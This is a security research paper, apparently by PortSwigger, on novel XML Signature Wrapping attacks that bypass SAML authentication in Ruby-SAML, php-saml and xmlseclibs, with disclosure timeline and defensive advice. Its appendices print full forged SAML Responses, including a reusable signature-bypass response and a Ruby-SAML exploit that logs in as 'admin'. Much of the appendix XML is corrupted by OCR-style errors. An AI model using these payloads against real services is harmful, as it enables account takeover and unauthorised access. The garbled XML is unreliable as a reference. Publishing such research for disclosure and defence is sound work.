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Abstract

Security Assertion Markup Language (SAML 2.0) is a complex authentication standard built on insecure and outdated XML
technology. These legacy foundations have made the protocol notoriously difficult to maintain and have resulted in a persistent
stream of critical vulnerabilities over the past two decades.

This paper introduces several novel classes of Signature Wrapping (XSW) attacks capable of completely bypassing
authentication in widely used open-source SAML libraries used across the internet.

In addition, | present an open-source toolkit designed to identify and analyze discrepancies between XML parsers - enabling
the discovery of authentication bypasses with very few requirements.

The recent increase in SAML vulnerabilities shows that secure authentication cannot happen by accident. Keeping protocols
like SAML safe requires coordinated, ongoing effort from the entire security community, not just quick fixes.
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The Service Provider-Initiated (SP-Initiated) SAML flow is the most common way users authenticate through SAML. It starts
when a user tries to access a protected resource on the service provider’s website. Since the user is not yet authenticated, the
service provider generates a SAML authentication request and redirects the user to the Identity Provider (IdP) for verification.

The IdP receives this request, verifies its validity, and then issues a SAML Response containing a digitally signed Assertion that
confirms the user’s identity. This response is sent back via the user’s browser to the service provider (SP). The SP then verifies
the digital signature and extracts user information (such as username and email) from the Assertion. If the signature and data
are valid, access is granted.

XML Signature Wrapping Attack (XSW)

The overall security of this flow depends entirely on how the SAML Response signature is validated. In many implementations,
signature verification and assertion processing are handled by separate modules or even different XML parsers. An XML
Signature Wrapping (XSW) attack exploits the discrepancies between these components.

In a typical scenario, an attacker intercepts a legitimate SAML Response signed by a trusted Identity Provider and injects a
new malicious Assertion containing arbitrary user information into the same document. When the Service Provider processes
the response, the signature verification module correctly validates the legitimate portion of the message, while the SAML
processing logic mistakenly consumes the attacker’s injected Assertion. As a result, the attacker’s forged data is treated as
authentic, leading to a privilege escalation.

Juraj Somorovsky, in his research "On Breaking SAML: Be Whoever You Want to Be™ suggests that this could be done by
registering through the 1dP, performing a man-in-the-middle attack, or even digging through publicly exposed files using Google
dorking. The problem is that this is a big requirement. Getting a valid signed SAML Assertion for an arbitrary website is
extremely difficult. Identity Providers almost never expose them, and even if you somehow capture one, most Service Providers
will accept it only once, after that it gets cached and rejected.


https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf
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So we take a different approach. Instead of trying to steal or reuse a signed Assertion, we simply reuse any other XML
document signed with the IdP’s private key.

With that legitimate signature in hand, we can then exploit the server's flawed signature-verification logic and make it believe
that our malicious Assertion is the one that was signed, even though it wasn’t.

The lllusion of Safety

In our previous research with Gareth Heyes - SAML roulette: the hacker always wins?, we demonstrated how flaws in handling
Document Type Declarations (DTDs) could be exploited to perform an XSW attack against the widely used Ruby-SAML library.
To mitigate these issues, two security patches were released - versions 1.12.4 and 1.18.0.

In this paper, | use the Ruby-SAML 1.12.4 patches as a case study to demonstrate why incremental fixes are insufficient and
despite multiple attempts to address XML-related vulnerabilities, the underlying architecture remains fragile.

Flawed XML Security implementation

Security patch 1.12.4 introduced two new checks to ensure that the SAML document does not contain DTDs and is a well-
formed XML document. While this eliminated our original exploit, it did not address the root cause of the problem. The XML
Security library still relied on two separate XML parsers - REXML and Nokogiri - for different parts of the validation process.

According to the SAML specification, the Assertion element - or one of its ancestor elements - must be referenced by the
Signature element, using an enveloped XML Signature.

In the Ruby-SAML implementation, both REXML and Nokogiri locate the Signature element using the XPath query
"//ds:Signature", which retrieves the first occurrence of a signature anywhere in the document. After that, additional logic,
implemented in REXML, verifies that the parent element of the signature is an Assertion. This overly permissive XPath query
became a key component of the exploit.

An XML Signature is a two-pass signature mechanism: the hash value of the signed resource (DigestValue) and the URI
reference to the signed element are stored inside a Reference element. The Signedinfo block that contains these references is
then itself signed, and the resulting Base64-encoded signature is placed in the SignatureValue element. In the Ruby-SAML
implementation, REXML is used to extract the DigestValue, which is then compared against the hashed element transformed
with Nokogiri. The SignatureValue, also extracted by REXML, is expected to match the Signedinfo element as processed by
Nokogiri, creating a fragile dependency between two different parsers with inconsistent XML handling.


https://portswigger.net/research/saml-roulette-the-hacker-always-wins

Attribute pollution

To craft a reliable exploit, it is important to first understand a fundamental feature of XML - namespaces. XML namespaces
provide a mechanism for qualifying element and attribute names by associating them with Uniform Resource Identifiers (URls).

Namespace declarations are defined using a special family of reserved attributes. Such an attribute’s name must either be

exactly xmins (to declare a default namespace) or begin with the prefix xmins: (to define a namespace with a specific prefix).
For example:

<Response xmlns="urn:oasis:names:tc:SAML:2.0:protocol"/>

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">

Both forms are valid and associate elements with the same SAML 2.0 Protocol namespace.

Namespaces are ideal for Signature Wrapping attacks, as they directly influence how XML elements are identified by XPath
queries. Most SAML libraries rely on libxmlI2 for XML parsing. This library inherits numerous legacy quirks.

A great demonstration of libxml2’s fragility is found in Hakim’s "Abusing libxml2 quirks to bypass SAML authentication on
GitHub Enterprise (CVE-2025-23369)", which showcases how internal caching behavior can be abused for unexpected XML
processing results. Unfortunately, since both Entities and Doctypes are now restricted by safe_load_xml, that particular attack
vector is no longer viable - forcing us to explore alternative ways to exploit parsing inconsistencies.

One helpful insight comes directly from the libxmI2 documentation of xmIGetProp:

This function looks in DTD attribute declarations for #FIXED or default declaration values.

NOTE: This function ignores namespaces. Use xmlGetNsProp or xmlGetNoNsProp for namespace-aware processing.

Both Ruby (Nokogiri) and PHP expose libxmlI2 behaviors that can desynchronize signature verification from assertion parsing.
In Nokogiri, attribute lookups such as node.attribute('ID') (not a get_attribute) or the shorthand node[ 'ID' ] ignore
attribute namespaces and use only the simple name. When multiple attributes collide by simple name (e.g., ID and samip:ID),
only one is returned, and the documentation does not guarantee which one.

In PHP’s DOM: DOMNamedNodeMap: : getNamedItem also retrieves an attribute by simple name only.

This ambiguity can be directly observed in how parsers resolve attributes. Consider the following two equivalent-looking XML
fragments:

<samlp:Response ID="1" samlp:ID="2"> # 1

<samlp:Response samlp:ID="2" ID="1"> # 2

In the first case, the call xmIGetProp returns 1, while in the second case it returns 2.

The difference depends solely on the attribute order within the element - behavior inherited from libxml2. Because the
namespace is ignored and the returned attribute is undefined when duplicates exist, developers have no control over which
attribute is selected.

Even REXML, which implements its own XML parsing logic independent of libxml2, is vulnerable to the same attribute pollution

issue. Both attributes[ 'ID'] and get_attribute("ID").value show inconsistent behavior depending on namespace
handling.

<Response ID="1" samlp:ID="2"> # 1

<samlp:Response ID="1" samlp:ID="2"> # 2


https://repzret.blogspot.com/2025/02/abusing-libxml2-quirks-to-bypass-saml.html
https://repzret.blogspot.com/2025/02/abusing-libxml2-quirks-to-bypass-saml.html

And again, the access to the attribute by attributes[ 'ID' ] returns 1, while in the second case it returns 2. When a
namespace prefix is present, REXML'’s internal lookup treats attribute names differently, leading to the opposite selection order
compared to libxml2. This inconsistency means that the same XML document can produce different attribute values across
parsers, allowing an attacker to manipulate which element is actually signed versus which one is processed:

<samlp:Response ID="attack" samlp:ID="ID">

<Signature>

<Reference URI="#ID"/>
</Signature>
<samlp:Extensions>

<Assertion ID="#ID"/>
</samlp:Extensions>
<Assertion ID="evil"/>

</samlp:Response>

Attack Workflow

« Signature verification module locates the target of the XML Signature using the XPath query "//*[@ID="id']", that
ignores namespaces

» Business logic then verifies that the root element’s identifier matches the one referenced by the signature - retrieving the
ID via a namespace-agnostic attribute getter (e.g., element[ 'ID' ], getNamedItem('ID'), oOr
attributes['ID']).

REXML Namespace confusion without DTDs

As you already know, xmins is a reserved attribute, and xml is another reserved prefix. Both are defined by the XML
specification and cannot be redeclared or bound to different values.

However, in REXML, these are treated internally as a regular attribute. This subtle difference creates a significant weakness.
By redefining or injecting namespace declarations, an attacker can manipulate how namespace-aware XPath queries behave,
causing REXML to resolve elements that other parsers - such as Nokogiri - ignores correctly:

<Signature xml:xmlns='http://www.w3.0rg/2000/09/xmldsig#"'/>

This technique also works in the opposite direction, allowing an attacker to hide the legitimate Signature element from the
REXML XPath query "//ds:Signature" while keeping the document valid. By carefully nesting elements and redefining
namespaces, it becomes possible to make the Signature node visible to Nokogiri but invisible to REXML:

<Parent xmlns='http://www.w3.0rg/2000/09/xmldsig#"'>
<Child xml:xmlns='#anything'>
<Signature/>
</Child>
</Parent>

This allows the attacker to split signature detection logic, causing the parser to locate and validate a Signature element in an
unintended location within the document.



The XML Schema

Now that we can craft a valid XML document that produces two different interpretations in REXML and Nokogiri, the next step
is to determine where to inject malicious elements without violating the XML Schema.

The XML Schema Definition (XSD) specifies the syntax and semantics of all XML-encoded SAML protocol messages. In the
case of Ruby-SAML, the implementation ships with twelve XSD files, including protocol-schema.xsd, which define the structure
and constraints for each element in a SAML Response.

However, XML Schema validation alone does not prevent the inclusion of malicious extensions. A full list of all identified
extension points is provided in the supporting materials. Among them, two elements satisfy the key requirement of appearing
before the Signature element within a valid SAML Response: the Extensions element and the StatusDetail element. | will use
Extensions:

<samlp:Response>
<samlp:Extensions>
<Parent xmlns="http://www.w3.0rg/2000/09/xmldsig#">
<Child xml:xmlns="#other">
<Signature>
<SignedInfo>REAL SIGNATURE</SignedInfo>
</Signature>
</Child>
</Parent>
</samlp:Extensions>
<Assertion>
<Signature>
<SignedInfo>FAKE SIGNATURE</SignedInfo>
</Signature>
</Assertion>
</samlp:Response>

Impossible XSW

At this stage, we can successfully bypass the SignatureValue verification, but the process fails with an invalid DigestValue. The
reason lies in how Nokogiri handles canonicalization and digest calculation. During digest computation, the parser temporarily
removes the Signature element before calculating the hash, ensuring the signature is not included in the data being signed.

However, in our modified document, the fake Signature element remains inside the Assertion, meaning the parser now
attempts to calculate the digest over a string that already contains the signature data itself. This creates a recursive
dependency - the digest must include its own hash value - achieving a valid DigestValue in this scenario would require
generating a perfect hash collision.

Void Canonicalization technique

To solve this seemingly impossible problem, we need to take another close look at the SAML specification. According to the
standard, the referenced element must be processed through one or more XML transformations before being hashed. By
targeting this transformation stage, we open the door to a new class of attack - what | call Void Canonicalization.

Canonicalization defines a consistent way to represent XML documents by standardizing details such as attribute order,
whitespace, namespace declarations, and character encoding. This process ensures that two logically identical XML
documents produce the same canonical byte stream, allowing reliable digital signatures and comparisons.

Some aspects of canonicalization - such as whether XML comments are included or excluded - have already been exploited in
previous Signature Wrapping (XSW) attacks (SAMLStorm: Critical Authentication Bypass in xml-crypto and Node.js libraries®).
However, beyond these known vectors, there are deeper limitations within the canonicalization process itself that can be
abused.


https://workos.com/blog/samlstorm

Let's take a look at XML Signature Recommendation, which explicitly warns about the dangers of relative URIs:

Limitations: the relative URIs will not be operational in the canonical form.
The processing SHOULD create a new document in which relative URIs have been converted to absolute URls,

thereby mitigating any security risk for the new document.

This behavior introduces an opportunity: if the canonicalization process encounters a limitation, such as an unresolved relative
URI, it may return an error instead of a canonicalized string. Fortunately for an attacker, only a small number of XML parsers
are designed to properly handle such failures. Most implementations silently continue execution, treating the missing output as
an empty or “void” canonical form, effectively skipping the data that should have been included in the digest. This powerful
inconsistency becomes the foundation of the Void Canonicalization attack class.

Golden SAML Response

To demonstrate this behavior, consider the following SAML Response that exploits the canonicalization weakness:

<samlp:Response xmlns:ns="1">
<samlp:Extensions>
<Parent xmlns="http://www.w3.0rg/2000/09/xmldsig#">
<Child xml:xmlns="#other">
<Signature>
<SignedInfo>REAL SIGNATURE</SignedInfo>
</Signature>
</Child>
</Parent>
</samlp:Extensions>
<Assertion>
<Signature>
<SignedInfo>EMPTY STRING DIGEST VALUE</SignedInfo>
</Signature>
</Assertion>
</samlp:Response>

Here, the declaration xmlns:ns="1" defines a relative namespace URI. It is still a well-formed XML document, but this
causes an error during libxml2 canonicalization.

Instead of failing securely, Nokogiri canonicalization implementation simply returns an empty string when this error occurs. As a
result, the subsequent DigestValue calculation is performed over an empty input, producing a valid hash of an empty string
(47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpIWZG3hSuFU= for SHA-256).

This behavior can also be exploited if a malicious user gains access to the SignatureValue of the empty string. Because the
hash of the canonicalized Signedinfo is what produces the final SignatureValue, an attacker who possesses a precomputed
signature for an empty string can reuse it to create a fully valid signature over an arbitrary SAML Response message.

Another exploit of the libxmI2 canonicalization logic can be found in my previous exploit of the CVE-2025-25292 in the SAML
Raider repo. Unfortunately, this is not well-formed XML, and can not be used any more.

The ruby-saml 1.12.4 and php-saml libraries are vulnerable to the canonicalization exploit, and other PHP XMLDSig
implementations, such as Rob Richards’ xmlseclibs are also affected. In contrast, the XMLSec Library® and Shibboleth
xmlsectool® are not vulnerable.

An example of such a "Golden SAML Response" (a message that always passes signature validation, regardless of how the
assertion claims are modified) is available in the Appendix 1.


https://www.aleksey.com/xmlsec/
https://shibboleth.net/downloads/tools/xmlsectool/
https://shibboleth.net/downloads/tools/xmlsectool/

Getting a Valid Signature

Even if a malicious user cannot directly access a signed SAML Assertion, it does not mean there are no valid, IdP-signed XML
documents available publicly. Several types of legitimate, signed data can be repurposed for exploitation.

The most straightforward source is SAML metadata. Unfortunately, these files are rarely signed, but in some cases, a signed
version can be retrieved by appending parameters such as ?sign=true to metadata URLSs.

Another reliable source is the signed error response. According to the SAML specification, the Request Abstract Type requires
only three attributes: ID, Version, and Issuelnstant. These form the minimal structure for a valid SAML request message. As
defined in the SAML Core 2.0 Specification:

If a SAML responder deems a request to be invalid according to SAML syntax or processing rules,

then if it responds, it MUST return a SAML response message

This means that even when a request is malformed or syntactically invalid, the Identity Provider (IdP) may still issue a signed
error response to indicate the failure. Invalid Issuelnstant value showed below:

<samlp:AuthnRequest
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="INVALID"
IssueInstant="INVALID"
Version="INVALID">

</samlp:AuthnRequest>

A signed error message can also become a source of a void signature if the reflected error content inside the response triggers
a canonicalization error, resulting in the digest being computed over an empty string.

Final Exploit

Finally, Web Services Federation metadata’ is almost always publicly available for major identity providers. Both Microsoft
Entra ID and Okta publish signed metadata by default - together accounting for roughly 85% of all users across GitHub,
according to their usage statistics. These documents provide a convenient and legitimate way for attackers to obtain valid
signature elements, even when the XML is not fully compliant with the SAML schema.

Putting all together:

+ Extracted enveloped signature inserted into Extension point

» Reserved xml Attribute namespace declaration hides Signature element from SAML processing module but keep it for
digital signature

» Fake signature node remains at Assertion element but keep Digest value of empty string
« Finally Void canonicalization throws an unhandled exception to bypass hash restrictions

The full exploit is available in the Appendix 2 - Ruby-SAML 1.12.4 Complete Authentication Bypass Exploit.
Real Use Case Scenario
In this large SaaS real-world scenario, which cannot be disclosed in detail, we used the Ruby-SAML exploit together with

Gareth Heyes’ research, "Splitting the Email Atom: Exploiting Parsers to Bypass Access Controls®' to generate a forged SAML
Response, create a new account, and ultimately bypass authentication.

Tools

You can download the Burp Suite extension that automates the entire exploitation process from GitHub®. These vulnerabilities
will also be added to the SAML Raider extension - stay tuned.


https://learn.microsoft.com/en-us/entra/identity-platform/federation-metadata
https://portswigger.net/research/splitting-the-email-atom
https://github.com/d0ge/XSW

Defense

To mitigate the risks described in this research, the following best practices should be adopted when implementing or
maintaining SAML authentication systems:

¢ Use strict XML schemas with minimal or no extensibility points.
» Ensure that only signed elements are used for any future processing.
+ Keep all SAML and XML security libraries up to date, applying the latest security patches and version updates.

« Avoid using email domain suffixes as a form of access control, as parser discrepancies can be exploited to bypass such
restrictions.

Timeline
e 29 April 2025 - Details of the Ruby-SAML 1.12.4 vulnerability were shared with the maintainer.

e 27 August 2025 - Ruby-SAML and PHP-SAML void canonicalization (libxml2) vulnerabilities were disclosed to their
maintainers.

* 10 October 2025 - The libxmI2 vulnerability in Rob Richards’ xmlseclibs was reported to the maintainer.
+ 8 December 2025 - Rob Richards’ xmlseclibs released version 3.1.4 to fix the libxml2 canonicalization vulnerability.

Conclusion

Reliable authentication security cannot depend on unsupported or poorly maintained libraries. Comprehensive and lasting
remediation requires significant restructuring of existing SAML libraries. Such changes may introduce breaking compatibility
issues or regressions, but they are essential to ensure the robustness of XML parsing, signature validation, and
canonicalization logic. Without this foundational rework, SAML authentication will remain vulnerable to the same classes of
attacks that have persisted for nearly two decades.

Zakhar Fedotkin

PortSwigger Research



Appendix 1 - Libxml2 Canonicalization Errors Enable Signature Validation
Bypass

Summary

An authentication bypass vulnerability exists due to a flaw in the libxmlI2 canonicalization process, which is used by xmliseclibs
during document transformation. This weakness allows an attacker to generate a valid signature once and reuse it indefinitely.
In practice, a signature created during a previous interaction - or through a misconfigured authentication flow - can be replayed
to bypass authentication checks.

Exploit

<samlp:Response xmlns:example="1" xmlns:samlp="urn:oasis:names:tc:5AML:2.@:protocol" xmlns:saml="urn:oasis:names:tc:5AML:2.@:assertion"

1D="_8cdf9add-ad@7-4Tca-bl60-df63064505e0" Version="2.0" IssueInstant="2014-07-17T01:01:487"
Destination="http://localhost:30@8/saml/consume" InResponseTlo=

<saml:Issuer=http://localhost:7007/saml/metadata</saml:Issuer=>

<samlp:Status=<samlp:StatusCode Value="urn:oasis:names:tc:SAML

:2.@:status:Success” /></samlp:Status=

"ONELOGIN_4Tee3b@46395c4e751011e9778900b5273d56685" >

<saml:Assertion xmlns:xsi="http://www.w3.0rg/2081/¥MLSchema-instance” xmlns:xs="http://www.w3.0rg/2001/¥MLSchema"

ID="_8cdf9add-ad@7-4fca-bl6@-df63064505ef" Version="2.08" Issuelnstant="2014-07-17T01:01:487">

<saml:Issuer=http://localhost:7007/saml/metadata</saml:Issuer>

<ds:Signature xmlns:ds="http://www.w3.0rg/2000/09/xmldsig#" >
<ds:5ignedInfo xmlns:ds="http://www.w3.0rg/2008/09/xmldsig#">

<ds:CanonicalizationMethod Algorithm="http://www.w3.0rg/2001/10/xml-exc-cl4n#" /=
=ds:SignatureMethod Algorithm="http://www.w3.0org/2001/04/xmldsig-more#rsa-sha256" />

<ds:Reference URT="# 8cdf9%add-ad@7-4fca-bl6@8-df63064585ef" >

<ds:

Transforms=

<ds:Transtorm Algorithm="hitp://www.w3.0ro/2000/09/xmldsig#enveloped-signature"”

<ds:Transform Algorithm="http://www.w3.0rg/2001/10/xml-exc-cldn#" /=

</ds:Transforms=

<ds:DigestMethod Algorithm="http://www.w3.org/2801/84/xmlenc#sha2s6" />
<ds:DigestValue=47DEQpj8HBSa+/TImW+5]CeuQeRkm5NMpIWZG3h5SuFU=</ds:DigestValue>

</ds:Reference=

</ds:SignedInfo=>

<ds:SignatureValue=
ZoMimgpvmI7CvzorrBzvKDzw00ODFI5 jUTMhayHqDPAZYAyI+1DyUcDyZTqvicCnyv
Hg+rug/uvydbtXAg71UntBqvQac7+eR5FWB01ndsViGcddCXi0DWEZI0gNo+sDEu
ptpSukgMau+M4901BpozWTPeYsgvac561lh/pubBbintG/+@1iAhGKNCUMIINS2k0t
/n1290q4W80hwbsVZaj3n2CoMQOzIVz tH3KWERTACFqdbABHgDGDNneuHzv]jgcdIr
RBYSkD7xmd3Nsnv+YKToWnVnderiaj6yxrny6EL8F0jPubijpD2RsDHVF4/GktGh
BcvnIOEK2UATwr//1jF3Pw===</ds:5ignatureValue=

<d

n

:KeyInfo>

<ds:X509Data>

<0s:¥509Certificate>MIID) TCCANWQAWIBAQIUdyIHBPS0Z8KGTey T Zuvmx7ey /PswDOYIKoZIhveNAQEL

BOAWV] ELMAKGALUEBhMCVVMXD ] AMBONVBAGMBVNGYXR IMQ@wCWYDVQQHDARDaXRS
MRUWEWYDVQOKDAxPcmdhbm L6YXRpb24xETAPEgNVBAMMCHNhbWwtaWRWMB4XDTI1
MDcyMDIxM]YzNVoXDTIZMDcyMDIxM ] YzNVowVjELMAKGAIUEBRMCYVMXD j AMBgNY
BAgMBVNOYXR IMQ@wCwYDVQQHDARDaXRSMRUWEWYDVQQKDAxPcmdhbml6YXRpb24x
ETAPBgNVBAMMCHNhbWwtaWRWMIIET j ANBgkqhkiG9w@BAQEFAAOCAQBAMIIBCgKC
AQEA]BYIUUQSxL081y7CVBPhTgZNOA e5b250TXLukSHYWISAGXZLVLa+uzogkzy
nMW/NKTLPCIhTpQ+9ZAMeS301EquBPHH@g1) 14cwI24rEDZE LFGXCAKMI cgATTTZD
T/YAW/YHKT4TgZ2YWT3ZrnY rbYgkSsDMVPHA j hRV/ 1CcudD/piPJQH]j bobo 1+EUK
JlgpUucT2sKOkmE Lrn8LNvHK593nil0hZmaa21zH+E1tdS9R5zhwuBbvoPkjCk5G
VvRTCU+Pbprie82Xwl2JudbylZs/NgdCVAWTwaKgkHBVvZyp98TTgRsCIdRTNbsq2
F552j5mbIdmj7DLPI0GCT LIUNQIDAQABO IMWUTAdBEGNVHO4AEFgQULKKOBinIPgUm
Mamh,/@J5Sn4HTAEcwHWYDVRA ] BBgwFoAULKKObinJPgUmM@mh,/@J5n4HTAECWDWYD
VROTAQH/BAUWAWEB/ zANBgkghk iGO9wBBAQsFAADCAQEACNEHT770s0FqQZWNZpH
TaQ2yCB87xBCebRjnvVIgUe/ wyGTPsF5GsDCHKh@cWX150HtIXvnBbuzx91isq1927
tgkhWmMEDB/i0ZTCLTx rUu0PLty/vaNglhTRgYMYqt fdN3VQIRX/tAPggSL9gDVR
APNAKG1emWbFHkcWGINbmWNKBLLYZ rtiXGoumfwHd20eE2TY /WNYBFyQCMFajUsx
5CKG@] INHzgOobmWsSZ4] 8kat ) sSGIXHMGhHLO3d501561ne+tZmetqo219qE0LGK
eRBE8@sGNva45SVHY IcdgNEC3KELDEXNya 1 1yGxAP4LtD+RpAE4VIMUxmOX0waZ/ v5
Lg=—=

=/ds:X509Certificates
</ds:X509Data>
</ds:KeyInfo=

</ds:Signature>
<saml:Subject>

<saml:NameID SPNameQualifier="http://localhost:3008/saml/metadata"
Format="urn:oasis:names:tc:SAML:2.@:nameid-format:transient">_ce3d2948b4cf20146deec®a®b3dd6f69bbcTBETE2d7</saml:NamelD>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.8:cm:bearer">

<saml:SubjectConfirmationData NotBefore="2014-07-17T@1:01:182" NotOnOrAfter="2026-01-18T06:21:482" />
</saml:SubjectConfirmation=

</saml:Subject>

<saml:Conditions NotBefore="2014-87-17T01:@1:182" NotOnOrAfter="2026-81-18T06:21:482">

e

<saml:AudienceRestriction><saml:Audience=http://localhost:3008/saml/metadata</saml:Audience></saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement

SessionIndex="_be9967abd984ddcae3c@ebd418%adbe3T71e327cf93">
<saml:AuthnContext>
=saml:AuthnContextClassRef=urn:oasis:names:tc:SAML:2.@:ac:classes:Password=/saml:AuthnContextClassRef=
</saml:AuthnContext>
</saml:AuthnStatement=

</saml:Assertion=>
</samlp:Response=

AuthnInstant="2014-07-17T@1:01:48Z" SessionNotOnOrAfter="2026-@7-17T09:01:487"



Appendix 2 - Ruby-SAML 1.12.4 Complete Authentication Bypass Exploit

Summary
Ruby-saml up to and including 1.12.4, there is an authentication bypass vulnerability because of an issue at libxmI2

canonicalization process used by Nokogiri for document transformation. That allows an attacker to be able to execute a
Signature Wrapping attack. The vulnerability does not affect the version 1.18.0.

Exploit

1 <samlp:Response Consent='urn:oasis:names:tc:SAML:2.@:consent:unspecified’ Destination="https://example.com/’
2 ID="_08263a07b-2057-479c-98fc-7485715ecbbf' InResponseTo='_fc4a34bd-7efb-012e-caae-782bcb13bb38’

3 Issuelnstant='2011-06-22T12:49:30.348Z"' Version='2.8" xmlns:samlp="urn:oasis:names:tc:5AML:2.@:protocol’'>
4 <Issuer xmlns='urn:pasis:names:tc:SAML:2.@:assertion’=http://example.com/</Issuer>

5 <samlp:Extenions>

6 <Parent xmlns='http://www.w3.0rg/2000/09/xmldsigh">

7 <Child xml:xmlns="http://www.w3.0rq/2000/09/xmldsig #'>

8 <Signature><SignedInfo>

9 <CanonicalizationMethod Algorithm="http://www.w3.0rg/2001/10/xml-exc-cldn#"/>

1e <SignatureMethod Algorithm='http://www.w3.0rg/2001/84/xmldsig-more#rsa-sha256'/>

11 <Reference URI="#_721b4a5a-d7el-4861-9754-adbl97b6T%b"'>

12 <Transforms=>

13 <Transform Algorithm="http://www.w3.0rg/2008/89/xmldsig#enveloped-signature'/>

14 <Transform Algorithm="'http://www.w3.0rg/2001/10/xml-exc=clin#'/>

15 </Transforms=>

16 <DigestMethod Algorithm="http://www.w3.0rg/2001/04/xmlenc#sha256" />

17 <DigestValue=5mUndDm7005GNYVTevs Jw3IRVZiwv IDnR2nprl+EMhc=</DigestValue=

18 </Reference>

19 </5ignedInfo=

20 <SignatureValue=...</SignatureValue>

21 </5ignature=

22 </Child>

23 </Parent>

24 </samlp:Extenions>

25 <samlp:Status>

26 <samlp:StatusCode Value='urn:oasis:names:tc:SAML:2.@:status:Success'/>

27 </samlp:Status>

28 <saml:Assertion xmlns:a: " ID='_721b4a5a-d7e1-4861-9754-a9b197b6f9ab"' Issuelnstant="2011-86-22T712:49:30.348Z' Version="2.0"
29 xmins:xs="http://www.w3.0rg/2001/XMLSchema" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema=instance"

30 xmlns:saml="'urn:oasis:names:tciSAML:2.0:assertion’>

31 <Issuer>http://example.com/</Issuer>

32 <Signature xmlns='http://www.w3.0rg/2000/09/xmldsig# >

33 <5ignedInfo>

34 <CanonicalizationMethod Algorithm="http://www.w3.0rg/2801/10/xml-exc-cl4n#"/>

35 <SignatureMethod Algorithm='http://www.w3.0rg/2001/84/xmldsig-more#rsa-sha256'/>

36 <Reference URI="#_721b4a5a-d7el-4861-9754-a%b197b6T%ab"'>

37 <Transforms>

38 <Transform Algorithm='http://www.w3.0rg/2000/03/xmldsig#enveloped-signature’/>

39 <Transform Algorithm='http://www.w3.0rg/2001/10/xml-exc-cl4n#' />

40 </Transforms>

41 <DigestMethod Algorithm="hitp://www.w3.0rg/2801/04/xmlenc#sha256'/>

42 <DigestValue=47DEQpj8HBSa+/TImW+5]CeuQeRkmSNMpIWZG3hSuFU=</DigestValue>

43 </Reference>

44 </SignedInfo>

45 <SignatureValue>...</SignatureValue>

46 <KeyInfo xmlns='http://www.w3.0rg/2000/09/xmldsig#'>

47 <X5@9Data>

48 <X509Certificate=...</X509Certificate>

49 </X509Data>

50 </KeyInfo>

51 </Signature>

52 <saml:Subject=>

53 <saml:NameID SPNameQualifier="http://localhost/groups/my=group” Format="urn:oasis:names:tc:SAML:2.@:nameid=format:transient">admin</saml:NameID>
54 <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">

55 <saml:SubjectConfirmationData NotBefore="2025-@4-27T20: 42" NotOnOrAfter="2026-04-28T14:21:34Z" InResponseTo="_fc4a34b@-7efb-012e-caae-782bcb13bb38" />
56 </saml:SubjectConfirmation>

57 </saml:Subject>

58 <saml:Conditions NotBefore="2025-04-27T720:04:14Z" NotOnOrAfter="2026-04-28T14:21:342">

59 <saml:AudienceRestriction=<saml:Audience=http://localhost/groups/my—group</saml: Audience=</saml:AudienceRestriction>
650 </saml:Conditions>

61 <saml:AuthnStatement AuthnInstant="2025-04-27T20:04:147" SessionNotOnOrAfter="2026-04-28T14:21:347" SessionIndex="_fc4a34b@-7efb=012e~caae=782bcb13bb38">
62 <saml:AuthnContext>

63 <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2,0:ac:classes:Password</saml: AuthnContextClassRef>
64 </saml:AuthnContext>

65 </saml:AuthnStatement>

66 <saml:AttributeStatement>

67 <saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.@:attrname-format:uri">

68 <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>

69 </saml:Attribute>

70 </saml:AttributeStatement>

71 </saml:Assertion=

72 </samlp:Response>
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